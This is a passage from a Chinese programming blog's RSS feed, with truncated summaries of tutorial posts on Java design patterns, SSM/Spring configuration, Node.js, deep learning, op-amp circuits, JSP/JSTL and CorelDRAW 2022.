      <guid>https://bchobby.github.io/posts/84f41e6b6d774b66cc15d64d445e21e1/</guid>
      <description>观察者模式（Observer Design Pattern）,也叫做发布订阅模式（Publish-Subscribe Design Pattern）、模型-视图（Model-View）模式、源-监听器（Source-Listener）模式、从属者（Dependents）模式。指在对象之间定义一个一对多的依赖，当一个对象状态改变的时候，所有依赖的对象都会自动收到通知。&#xA;比如说Redis 中的基于频道的发布订阅就是观察者模式的应用：&#xA;一、观察者模式的介绍 观察者模式是一种对象行为型模式，下面就来看看观察者模式的结构及其实现：&#xA;1.1 观察者模式的结构 观察者模式结构中主要包括观察目标（Object）和观察者（Observer）主要结构：&#xA;Subject：主题抽象类，提供一系列观察者对象，以及对这些对象的增加、删除和通知的方法ConcreteSubject：主题具体实现类，实现抽象主题中的通知方法，通知所有注册过的观察者对象Observer：观察者抽象类，包含一个通知响应抽象方法ConcreteObserver1、ConcreteObserver2：观察者实现类，实现抽象观察者中的方法，以便在得到目标的更改通知时更新自身的状态Client：客户端，对主题及观察者进行调用 1.2 观察者模式的实现 根据上面的类图，我们可以实现对应的代码。&#xA;首先定义一个抽象目标类Subject，其中包括增加、注销和通知观察者方法&#xA;public abstract class Subject { protected List&amp;lt;Observer&amp;gt; observerList = new ArrayList&amp;lt;Observer&amp;gt;(); /** * 增加观察者 * @param observer 观察者 */ public void add(Observer observer) { observerList.add(observer); } /** * 注销观察者，从观察者集合中删除一个观察者 * @param observer 观察者 */ public void remove(Observer observer) { observerList.remove(observer); } /**通知观察者*/ public abstract void notifyObserver(); } 对应具体的目标类ConcreteSubject&#xA;public class ConcreteSubject extends Subject{ @Override public void notifyObserver() { System.</description>
    </item>
    <item>
      <title>SSM框架整合demo</title>
      <link>https://bchobby.github.io/posts/acd165cb67a1c1a026eedc3db1ddc1f0/</link>
      <pubDate>Sun, 24 Apr 2022 00:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acd165cb67a1c1a026eedc3db1ddc1f0/</guid>
      <description>提示 本demo只是对SSM框架进行整合搭建的一个demo，并不包含其他的功能，只供ssm框架整合借鉴。&#xA;先对spring和springMVC框架进行整合 导入pom依赖 &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.7&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.7&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;junit.version&amp;gt;4.11&amp;lt;/junit.version&amp;gt; &amp;lt;spring-webmvc.version&amp;gt;5.3.19&amp;lt;/spring-webmvc.version&amp;gt; &amp;lt;spring-jdbc.version&amp;gt;5.3.16&amp;lt;/spring-jdbc.version&amp;gt; &amp;lt;jsp.version&amp;gt;2.2&amp;lt;/jsp.version&amp;gt; &amp;lt;jstl.version&amp;gt;1.2&amp;lt;/jstl.version&amp;gt; &amp;lt;servlet.version&amp;gt;2.5&amp;lt;/servlet.version&amp;gt; &amp;lt;log4j.version&amp;gt;1.2.17&amp;lt;/log4j.version&amp;gt; &amp;lt;slf4j.version&amp;gt;1.6.6&amp;lt;/slf4j.version&amp;gt; &amp;lt;fastjson.version&amp;gt;1.2.78&amp;lt;/fastjson.version&amp;gt; &amp;lt;mybatis.version&amp;gt;3.5.6&amp;lt;/mybatis.version&amp;gt; &amp;lt;mybatis-spring.version&amp;gt;2.0.7&amp;lt;/mybatis-spring.version&amp;gt; &amp;lt;druid.version&amp;gt;1.2.8&amp;lt;/druid.version&amp;gt; &amp;lt;mysql-connector.version&amp;gt;8.0.27&amp;lt;/mysql-connector.version&amp;gt; &amp;lt;jsr303.version&amp;gt;0.0.2&amp;lt;/jsr303.version&amp;gt; &amp;lt;lombok.version&amp;gt;1.18.22&amp;lt;/lombok.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${junit.version}&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-webmvc.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-jdbc.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-tx&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-jdbc.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet.jsp&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jsp-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${jsp.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;jstl&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${jstl.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;servlet-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${servlet.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${log4j.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${slf4j.</description>
    </item>
    <item>
      <title>Java实现回调</title>
      <link>https://bchobby.github.io/posts/ebcef9ff09ca6538cc48119dd768c43d/</link>
      <pubDate>Sun, 24 Apr 2022 00:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebcef9ff09ca6538cc48119dd768c43d/</guid>
      <description>参考博客：&#xA;一、简述 从软件模块之间的调用方式看，分为三类：同步调用、异步调用和回调。&#xA;1️⃣同步调用&#xA;同步调用是最基本并且最简单的一种调用方式，类 A 的 a() 调用类 B 的 b()，一直等待 b() 执行完毕，a() 继续往下走。该调用方式适用于 b() 执行时间不长的情况，因为 b() 执行时间过长或者直接阻塞的话，a() 的余下代码是无法执行下去的，这样会造成整个流程的阻塞。&#xA;2️⃣异步调用&#xA;异步调用是为了解决同步调用可能出现阻塞，导致整个流程卡住而产生的一种调用方式。类 A 的 a() 通过新起线程的方式调用类 B 的 b()，代码接着直接往下执行，这样无论 b() 执行时间多久，都不会阻塞住 a() 的执行。但是，由于 a() 不等待 b() 的执行完成，在 a() 需要 b() 执行结果的情况下(视具体业务而定，有些业务比如启异步线程发个微信通知、刷新缓存这种就没必要)，必须通过一定的方式对 b() 的执行结果进行监听。Java 中，可以使用 Future+Callable 的方式做到这一点。&#xA;3️⃣回调&#xA;在面向对象的语言中，回调则是通过接口或抽象类来实现的，实现这种接口的类为回调类，回调类的对象为回调对象。回调的思想是：&#xA;class A 实现接口 CallBack——背景 1class A 中包含一个 class B 的引用 b——背景 2class B 有一个参数为 callback 的方法 b(CallBack callback)——背景 3A 的对象 a 在自己的 a() 里调用 B 的方法 b(CallBack callback)——A 类调用 B 类的某个方法然后 b 就可以在 b(CallBack callback) 中调用 A 的方法——B 类调用 A 类的某个方法 综上：</description>
    </item>
    <item>
      <title>Node基础</title>
      <link>https://bchobby.github.io/posts/c58a917261f66318d1a935e702beb6fa/</link>
      <pubDate>Sat, 23 Apr 2022 21:44:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c58a917261f66318d1a935e702beb6fa/</guid>
      <description>Node基础 node发展史 |&#xA;node 是什么 编写服务端的语言。&#xA;服务端和客户端编写代码有什么区别？&#xA;为什么学习Node? 为了咱们可以了解服务端开发。掌握服务端开发基本流程s&#xA;为了前端工程化开发。&#xA;IO优势IO I—inputu 读取文件 o — outinput 写入文件对于文件读写,Node采用的是非阻塞IO传统IO在读写文件的时候CPU来处理,而代码执行也处于等待中,浪费性能非阻塞IO将读写操作交给CPU,而代码正常执行,减少等待浪费的性能应用场景 实际应用: webpack/gulp/npm/http-server/json-server服务器中负责IO读写的中间层服务器(天猫中间层IO服务器) NodeJS特点 node 前端学习一个区别 1: 用js 操作dom bom&#xA;2: 用js 语言操作的核心模块&#xA;​ fs path http 。。。&#xA;基本使用 官网上下载 node-v-xx.msi 傻瓜式的安装包 一路下一步,就ok检测是否安装成功 node -v运行程序 node ./xxx.js 当前目录下的xxx.js文件 node js文件路径 运行js文件 js文件路径有当前终端在哪一个路径下有关 运行node程序&#xA;1：找到路径 node.exe 路径 where node.exe 2:双击程序 运行 方式二： 在系统终端： 输入 node --&amp;gt; enter node 程序长相&#xA;与浏览器的控制题啊 console 一样 语法-模块化 **如何实现模块之间相互访问：** - 1：导出模块 - 2：导入模块 ### CMD-node 1:如何导出 **** ​~~~js module.</description>
    </item>
    <item>
      <title>深度学习技术在不同方向的应用及相关开源项目</title>
      <link>https://bchobby.github.io/posts/65d80f84141bfe403819758cd4d1c063/</link>
      <pubDate>Sat, 23 Apr 2022 18:18:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65d80f84141bfe403819758cd4d1c063/</guid>
      <description>深度学习的应用&#xA;深度学习是机器学习的一个分支，它除了可以学习特征和任务之间的关联以外，还能自动从简单特征中提取更加复杂的特征，完成对目标函数的拟合任务。随着神经网络的盛行，深度学习被应用到很多的领域，本文主要根据深度学习的技术类别和深度学习的应用场景两个方面进行说明。&#xA;1. 技术类型 根据网络模型参数的确定方法，深度学习技术可以分为监督学习技术、非监督学习技术和增强学习技术三类。其中监督深度学习技术中网络模型参数是利用带标注的训练数据对网络进行训练而得到的，非监督深度学习技术中网络模型参数的确定则无需带标注的训练数据，增强深度学习技术中网络模型参数是利用特定评分策略对网络输出进行评分后确定的。&#xA;1.1 监督深度学习技术 监督深度学习技术主要包括多层感知器、卷积神经网络和循环神经网络等。多层感知器技术是早期神经网络研究的基础性成果，也是衡量深度神经网络性能的对比参照基础；卷积神经网络包括分类网络、检测网络、分割网络、跟踪网络 和轻量化网络；循环神经网络主要包括长时短期记网络和门限循环单元网络。&#xA;一般情况下，卷积神经网络均属于前馈神经网络，信息按神经元在网络中层次由浅至深地进行处理，而层次较浅的神经元参数不会受到层次较深的神经元输出的控制，即网络没有记忆，因此通常不适用于序列学习。循环神经网络引入了深层神经元输出到浅层神经元输入和状态的控制机制，使网络具有记忆功能，更适用于序列学习。由于绝大部分经典自然语言处理任务均属于序列学习的范畴，因此，循环神经网络在自然语言处理领域取得了广泛的应用。经典的循环神经 网络主要包括长时短期记忆网络系和门限循环单元网络。&#xA;1.2 非监督深度学习技术 非监督深度学习技术主要包括玻尔兹曼机、自编码器和生成对抗网络等。虽然可以使用监督学习的方式训练网络，但受限玻尔兹曼机通常被视为一种早期经典的深度非监督学习技术。自编码器能够通过无监督学习，生成输入数据低维表示、可用于数据的去噪、降维和特征表示等任务。自编码器一般均是采用编码器-译码器结构，实现自监督学习，主要包括VAE、Stacked Denoising AE 和 Transforming AE 等技术。生成对抗网络是近年来非监督深度学习技术的研究 热点之一，主要包括GAN、CGAN、WGAN、 EBGAN、infoGAN、BigGAN 和 SimGAN 等。生成对抗网络的主要思想是利用生成模型和分辨模型之间的竞争关系，在网络损失度量中包含利于一个模型而不利于另一模型的部分，训练过程使生成模型输出将输入噪声信号尽可能逼近信息输入，而同时提高分辨模型分类与生成模型信息输出与输入的正确性，从而达到网络整体性能的优化。&#xA;1.3 增强深度学习技术 增强深度学习技术主要包括Q学习和策略梯度学习。Q学习的核心思想是利用深度神经网络，逼近贝尔曼方程描述的递归约束关系。Q学习算法一般采用估计、决策和更新的迭代过程, 经典的估计方法有蒙特卡洛树搜索算法、动态规划算法等，基本的Q学习方法有DQN、Double DQN、Prioritized DQN 和 DRQN 等。策略梯度 学习的基本方法是利用深度神经网络，实现策略的参数化，并通过梯度优化控制参数权重，选择较好的行为实现策略，常用的策略梯度有有限差分策略梯度、蒙特卡洛策略梯度、Actor- Critic 策略梯度等，主要的策略梯度学习方法有REINFORCE、TRPO、DGP、DDGP 等。&#xA;2. 应用场景及问题 2.1 多分类问题： 2.1.1 图像分类： 图像分类任务是模型根据输入的图像进行预估。比如Esteva 等基于 Inception v3 主干网络,直接使用多达13万份带标注的临床影像数据来训练，训练任务是检验该深度神经网络对于皮肤癌分类预估的性能。&#xA;深度学习在医学图像分类中的应用：（开源地址：https://github.com/21Vipin/Medical-Image-Classification-using-deep-learning）&#xA;2.1.2 文本分类： 文本分类是在NLP中很重要的模块。也是NLP任务中比较基础的模块。可以应用到很多领域：比如情感分析，新闻分类，垃圾邮件过滤等等。应用是非常广泛的。&#xA;医疗领域的文本数据还涉及到大量的领域内部命名实体、行业术语及表述习惯等问题,因此基于深度学习的自然语言处理在医疗领域的应用相比而言成熟度较低。&#xA;从医学实验室报告的图像中检测和识别文本的测试代码（开源地址：https://github.com/xuewenyuan/OCR-for-Medical-Laboratory-Reports）&#xA;手写体识别（开源地址：https://github.com/0x454447415244/HandwritingRecognitionSystem&#xA;文本分类中单词和标签的联合嵌入（论文开源地址https://github.com/guoyinwang/LEAM）增加标签对于文本分类中的影响&#xA;2.1.3 文本数据挖掘以及诊断报告的生成 文本数据挖掘可以应用于电子病历结构化、临床决策支持、异常事件检测、信息语义化检索等场景。&#xA;在医疗领域的应用有：Borjali 等人探索了采用深度学习方法从纯文本的医疗报告中提取相关信息,完成对医疗不良事件的检测统计工作,并以髋关节置换术后脱位的案例进行试验。Wu等人将自动图像描述应用在糖尿病视网膜眼底图像的诊断上,作者直接使用经典CNN-LSTM网络结构,即首先使CNN抽取特征,再依据特征使LSTM 生成对应的文字描述,作者的训练数据集使用370张临床眼底图像,并对每张图像人工添加5种自然语言描述作为标注,其测试结果显示对病变眼底图像生成的报告准确度能达到 90%,但当测试集包含正常眼底图像后,整体准确度下降到只有60%左右。&#xA;使用深度学习从临床笔记（在 MIMIC-III 数据集中）预测医疗账单代码：（开源地址：https://github.com/ziyuqiu/icd_prediction开源地址：https://github.com/asyzhejian/DeepLearning_Electronic_Medical_Record）&#xA;2.1.4 视频分类： 在做视频分类时候，直接使用3x3x3卷积核可能会产生参数过多、运算量过大的情况，难以训练等诸多问题，所以一般会分解为 1x3x3 的 spatial convolution 以及 3x1x1 的 temporal convolution。</description>
    </item>
    <item>
      <title>集成运算放大器的应用——放大、加减、跟随、（滞回）比较器、阻抗匹配</title>
      <link>https://bchobby.github.io/posts/69b346cb30fd5206e8a570f19b81b71e/</link>
      <pubDate>Sat, 23 Apr 2022 17:55:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69b346cb30fd5206e8a570f19b81b71e/</guid>
      <description>目前大三自动化方向。因为设计电路时总是忘了它的工作原理和相关运用，故整理一下它的全部我遇到的相关的知识。文章内容并非原创，而来自网络，文末有引用，看不懂的可以自己再去研究研究，如侵联删。&#xA;目录 一、运放的内部电路二、加（求和）减法，正反相比例、T型放大三、跟随器四、(滞回)比较器五、阻抗匹配（网罗了各种理解，选个能接受的就好 一、运放的内部电路 它的工作原理大概是这样的——输入会有两个电压，输入之后就会产生一个电压差，电压差加在输入电阻上面；这里面还有一个压控电压源，它会把收到的一个小电压放大G倍，这个增益是非常非常大的；然后再通过一个内部的输出电阻输出出去，那么就可以得到一个被放大的电压。&#xA;Rb属于三角形之外的外接电阻了，vi1,2对应正负输入端。Vcc和Vee是插在三角形两边上的供电电源。&#xA;双入单出的函数（后续补充）：&#xA;再放一个封装好的运放的示意图，有基础的同学可以自己理解一下。(https://www.rohm.com.cn/electronics-basics/opamps/op_what2)&#xA;二、加（求和）减法，正反相比例、T型放大 主要是巧用运放的虚短虚断（同相输入时只有虚短），以及叠加原理。多输入用叠加原理时，其他输入端要接地，而不是悬空。&#xA;补充：T型放大一般适用场合增益在100倍以上。&#xA;T型放大电路会使噪声增益变大&#xA;T型反馈电路用于反相放大电路或变形的I-V电路中&#xA;三、跟随器 电压跟随器的作用&#xA;1、缓冲&#xA;在一定程度上可以避免由于输出阻抗较高，而下一级输入阻抗较小时产生的信号损耗，起到承上启下的作用。&#xA;2、隔离&#xA;电压跟随器的电压增益近似为 1。当输入阻抗很高时，就相当于对前级电路开路，当输出阻抗很低时，对后级电路就相当于一个恒压源，即输出电压不受后级电路阻抗影响。一个对前级电路相当于开路，输出电压又不受后级阻抗影响的电路当然具备隔离作用，即使前、后级电路之间互不影响。所以，电压跟随器常用作中间级，以“隔离”前后级之间的影响，此时也称之为缓冲级。&#xA;(来源：https://www.eefocus.com/ask/477622) 四、(滞回)比较器 普通比较器（https://blog.csdn.net/qlexcel/article/details/79671016，如侵联删）&#xA;滞回比较器（供电电源提供给反馈端一个电压，输入端的绝对值要大于它，输入端才有效)（https://blog.csdn.net/geek_monkey/article/details/104856225，如侵联删）&#xA;五、阻抗匹配（网罗了各种理解，选个能接受的就好 说法一&#xA;输入阻抗跟一个普通的电抗元件一样，反映了对电流阻碍作用的大小。对于电压驱动的电路，输入阻抗越大，则对电压源的负载就越轻，因而就越容易驱动，也不会对信号源有影响；而对于电流驱动型的电路，输入阻抗越小，则对电流源的负载就越轻。&#xA;因此，可以这样认为：如果是用电压源来驱动的，则输入阻抗越大越好；如果是用电流源来驱动的，则阻抗越小越好。&#xA;说法二&#xA;https://www.elecfans.com/dianzichangshi/20180313646583.html&#xA;说法三（最详细）&#xA;https://m.elecfans.com/article/671550.html&#xA;最后想说的是，集成运放有它自己的分析特点，但都是满足电压电流基本定律的。&#xA;1.运放的经典应用电路图&#xA;https://www.elecfans.com/dianlutu/amp/20171209599051_3.html&#xA;2.运放的内部电路图介绍&#xA;https://wenku.baidu.com/view/ffd3cdcf92c69ec3d5bbfd0a79563c1ec4dad769.html&#xA;3.一个将运放的B站视频，当时看了同相加法，弄懂了自己的一些误区。&#xA;比如：多输入用叠加原理时，其他输入端要接地，而不是悬空。&#xA;https://www.bilibili.com/video/BV1Cz4y1S748?spm_id_from=333.337.search-card.all.click&#xA;4.T型放大电路&#xA;https://www.cnblogs.com/lifan3a/articles/15393686.html&#xA;5.s普通比较器来源于https://blog.csdn.net/qlexcel/article/details/79671016</description>
    </item>
    <item>
      <title>Servlet--EL表达式与JSTL</title>
      <link>https://bchobby.github.io/posts/caa65b08cb4c2a64edf62a16390bd802/</link>
      <pubDate>Sat, 23 Apr 2022 11:02:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caa65b08cb4c2a64edf62a16390bd802/</guid>
      <description>1、EL表达式&#xA;jsp页面因为内含servlet相关对象和Java代码，经常会出现空指针异常的问题，而EL表达式就替换了页面中的Java代码，避免了这样的问题的发生。&#xA;EL 表达式有标准标签库一起诞生， 与JSTL配合使用&#xA;自动化工作：可以在pageContext，request，session，application中子弹寻找 “attribute” request .setAttrbute(“k”,v)自动调用 get方法自动处理空值 ${users}//相当于List&amp;lt;User&amp;gt; list=(List&amp;lt;User&amp;gt;) request.getAttribute(&#34;users&#34;); EL表达式演示&#xA;&amp;lt;h2&amp;gt;EL表达式输出信息&amp;lt;/h2&amp;gt; &amp;lt;p&amp;gt;自动寻获 ${message}， 自动调用get方法 ${emp.ename}, 自动处理空 ${text} &amp;lt;/p&amp;gt; &amp;lt;h1&amp;gt;EL表达式演示2&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;arr1: ${arr1[0]} ${arr1[1]} &amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;arr2: ${arr2[0]} ${arr2[1]} &amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;arr3: ${arr3[0].ename} ${arr3[0].empno}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;list1: ${list1[0]}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;list2: ${list2[0].ename}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;map: ${map.east.ename} ${map[&#39;east&#39;].ename}&amp;lt;/p&amp;gt; 2、JSTL&#xA;配置JSTL&#xA;导入JSTL jar包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt; &amp;lt;groupId&amp;gt;jstl&amp;lt;/groupId&amp;gt; &amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 在前端页面开头需加上对JSTL的引用&#xA;&amp;lt;%@taglib prefix=“c” uri=“http://java.sun.com/jsp/jstl/core” %&amp;gt;&#xA;JSTL结合EL表达式遍历获取数据&#xA;&amp;lt;table border=&#34;1&#34;&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;id&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;name&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;password&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;操作&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;c:forEach items=&#34;${users}&#34; var=&#34;user&#34;&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;${user.id}&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;${user.</description>
    </item>
    <item>
      <title>CDR2022首发全新版本性能介绍</title>
      <link>https://bchobby.github.io/posts/9277b7fcdadedc08ab3cdcf5c35d8152/</link>
      <pubDate>Fri, 22 Apr 2022 22:44:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9277b7fcdadedc08ab3cdcf5c35d8152/</guid>
      <description>Coreldraw 2022（软件套装全称：CorelDRAW Graphics Suite 2022，简称CDR 2022）官方正式版已经发布（含windows及Mac版）。Coreldraw 2022首发版版本号为：v2022，喜欢追新的用户可以从Corel下载新版本安装。&#xA;Coreldraw基本上每年都会发布新版本，这次我们来看看Coreldraw 2022又带来哪些新功能？&#xA;Coreldraw2022新功能简介 ⻚⾯泊坞窗/检查器&#xA;CorelDRAW 2022中新的⻚⾯泊坞窗/检查器简化了多⻚⾯⽂档的⼯作⽅式。它会列出⼀个设计中的所有⻚⾯，您可以轻松管理⻚⾯并快速导航项⽬。每个⻚⾯都有⼀个可缩放的缩略图预览，显⽰其⼤⼩和内容。⻚⾯重新排序简单，拖⼊泊坞窗/检查器即可。&#xA;您还可以⼀次性添加、删除和重命名⻚⾯，省时⼜省⼒。⼀键即可切换显⽰模式，重点置于单个⻚⾯或使⽤新的多⻚视图。&#xA;⾃动调整⻚⾯&#xA;CorelDRAW 2022中的另⼀项省时功能就是⾃动调整⻚⾯功能。⼀键即可根据⻚⾯内容调整⻚⾯尺⼨。您还可以通过指定设计元素和⻚⾯边缘之间的间距，快速⾃定义边距。&#xA;辅助线&#xA;使⽤辅助线时，您可以快速将视图从世界⽐例切换到⻚⾯尺⼨。此外，⾃定义辅助线更易于管理，因此您可以⽐以往更快地速度建⽴设计框架。&#xA;各⾃贴⻬&#xA;处理复杂的设计时，有⼀项新的设置可以防⽌对象贴⻬各⾃的对⻬点，您可以轻松精确地移动和转换设计元素。&#xA;透视绘图&#xA;在 CorelDRAW 2022中，在透视图中绘制对象或场景变得前所未有地轻松。该新功能是基于透视投影的原理，消除了⾸先设置复杂⽹格的需要，可以提⾼⽣产率。其中有四种类型透视绘图的预设，预设可以通过调整透视图域的任何部分轻松⾃定义。在同⼀个⻚⾯或⽂档中轻松创建多个透视图组，每个透视图组都有各⾃独特的透视视域，让您创造⽆限可能。&#xA;HEIF ⽀持&#xA;CorelDRAW Graphics Suite 2022具有⾼效图像⽂件 (HEIF) ⽀持功能，可以让您⼿机上捕捉的照⽚展现出最佳效果。许多设备将HEIF 作为默认捕获格式，因为这种格式的⽂件较⼩，⽽且不会牺牲图像质量。您可以从 Corel PHOTO-PAINT 中的 HEIF ⽂件中导⼊或打开关键图像，或者将其导⼊ CorelDRAW 中的绘图中。&#xA;图像调整&#xA;Corel PHOTO-PAINT 2022推出⼀系列特⾊功能和增强功能，提供更⾼效、更准确的图像编辑体验。新的调整泊坞窗/检查器可以让您即时访问最关键和常⽤的过滤器，让您以⽆损、实时的⽅式在上下⽂中快速地⼯作。全新的局部调整模式还简化了将过滤器定位到特定图像区域的过程。&#xA;替换颜⾊&#xA;“替换颜⾊”过滤器全新改版。改进的拾⾊器和滴管⼯具可以实现更精确的编辑，新的交互式控制使⾊调和饱和度微调更直观。CorelDRAW 2022还新增了⼀个滑块，可以确保选定像素和未选定像素之间的颜⾊转换更顺畅。&#xA;实时评论&#xA;该新功能可以让参与项⽬的每⼀个⼈都能实时⼯作，涉众可以在 CorelDRAW.app中对⽂档进⾏评论和注释，所有反馈将即时出现在 CorelDRAW 2022中的⼯作⽂件中。&#xA;项⽬管理界⾯&#xA;项⽬管理界⾯可以帮助存储、查看、组织和分享保存⾄ Cloud 的⽂件。CorelDRAW 2022 和 CorelDRAW.app 中的新版管理界⾯可以充当您的协作中⼼。其中包含了所有的 Cloud 图纸，单击⼀下即可显⽰预览、评论数量和团队成员以及项⽬状态。您还可以在管理界⾯中直接从 CorelDRAW 2022 共享设计，⽆需打开每个⽂件。&#xA;多⻚视图&#xA;CorelDRAW 2022 的多⻚视图有助于加快设计⼯作流程。它可以让您同时查看⽂档中的所有⻚⾯，您就不必单击选项卡导航⾄图纸的其他部分。在⼀个视图中查看、管理和编辑项⽬的所有数字资产。</description>
    </item>
    <item>
      <title>spring 的后置处理器</title>
      <link>https://bchobby.github.io/posts/4cd955264241eb4b3f13e4b7b669eb11/</link>
      <pubDate>Fri, 22 Apr 2022 19:48:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd955264241eb4b3f13e4b7b669eb11/</guid>
      <description>spring的后置处理器 spring提供了三种后置处理器&#xA;BeanFactoryPostProcessorBeanPostProcessorInitializingBean 我们来依次看每个后置处理器的执行流程。&#xA;BeanFactoryPostProcessor 首先还是回到refresh方法中，我们可以看到在创建普通bean对象的上面有个方法叫invokeBeanFactoryPostProcessor，从方法名就可以看出是执行BeanFactoryPostProcessor方法&#xA;方法内部调用了一个代理类的静态方法 方法内部会首先拿出实现了PriorityOrdered接口的对象排序后执行&#xA;执行完PriorityOrdered接口后再拿出实现了Order接口的对象执行 最后把剩下的BeanFactoryPostProcessor根据类名排序后调用方法，这时候容器里面还是没有对象的，在getBean的时候需要走原来看过的创建普通bean的流程 前面的都是执行的BeanDefinitionRegistryPostProcessor的方法postProcessBeanDefinitionRegistry，三个判断结束之后最后执行BeanFactoryPostProcessor的postProcessBeanFactory方法 流程图如下&#xA;工厂后置增强的实际用途 我们现在知道了spring提供了一些工厂的后置处理器来增强工厂，那么我们现在来看看spring中实际使用工厂后置处理器做了什么事情，我们来看一个类ConfigurationClassPostProcessor&#xA;这个类是用于处理写了@Configuratioin注解的类 排序好之后就在一个循环里面解析容器里面的类 在方法中先判断是不是需要跳过，如果写了@Conditional注解的对象会判断条件是否生效 真正解析配置类的方法里面就是各种判断注解的情况，然后去做相应的方法&#xA;BeanPostProcessor 注册 工厂的增强至此就结束了，接下来看看普通组件的后置处理器的逻辑，还是回到refresh方法，这次是调用registerBeanPostProcessors方法，注册后置处理器。 注册的逻辑跟BeanFactory都是由同一个代理类来完成的 大部分逻辑和bean工厂的逻辑一致，都是判断优先级接口的就先执行 跟bean工厂不一致的是，bean工厂的后置处理器直接执行目标方法，这里只是把bean后置处理器创建好之后就放入list中&#xA;InstantiationAwareBeanPostProcessor 所有的BeanPostProcessor都被注册之后，我们来看其中一个分支：InstantiationAwareBeanPostProcessor 的流程&#xA;SmartInstantiationAwareBeanPostProcessor 从名字上可以看出叫智能的实例后置处理器，那么这个我们就来看看智能在什么地方. 在refresh方法中调用了一个注册监听器的方法 在该方法中调用了一个根据类型获取名称列表的方法，该方法是ListableBeanFactory接口的一个方法 为了获得目标类的名称，spring遍历所有的bean的名称，一个一个判断&#xA;判断逻辑是先判断已经初始化好的实例，然后再判断bean定义信息，如果都没有则让别人来判断 拿到容器中的SmartInstantiationAwareBeanPostProcessor然后把类名和bean名称穿进去，让实现类来决定 总结流程图 所以我们知道，在spring中，根据类型来找名称其实spring需要遍历所有对象，是一件很麻烦的事情&#xA;InstantiationAwareBeanPostProcessor 在spring容器创建对象之前，会先调用 InstantiationAwareBeanPostProcessor的 postProcessBeforeInstantiation方法尝试返回对象，如果用户返回了则会用用户创建的对象。 如果没有则调用doCreateBean方法，方法内也会从一个缓存中获取，没有的话就继续调用方法创建 创建逻辑会让用户返回一个构造函数，注意这里调用的是SmartInstantiationAwareBeanPostProcessor的一个方法，如果没有就用默认的无参构造函数，之后就是上面写过的用工具类创建的方式&#xA;MergedBeanDefinitionPostProcessor 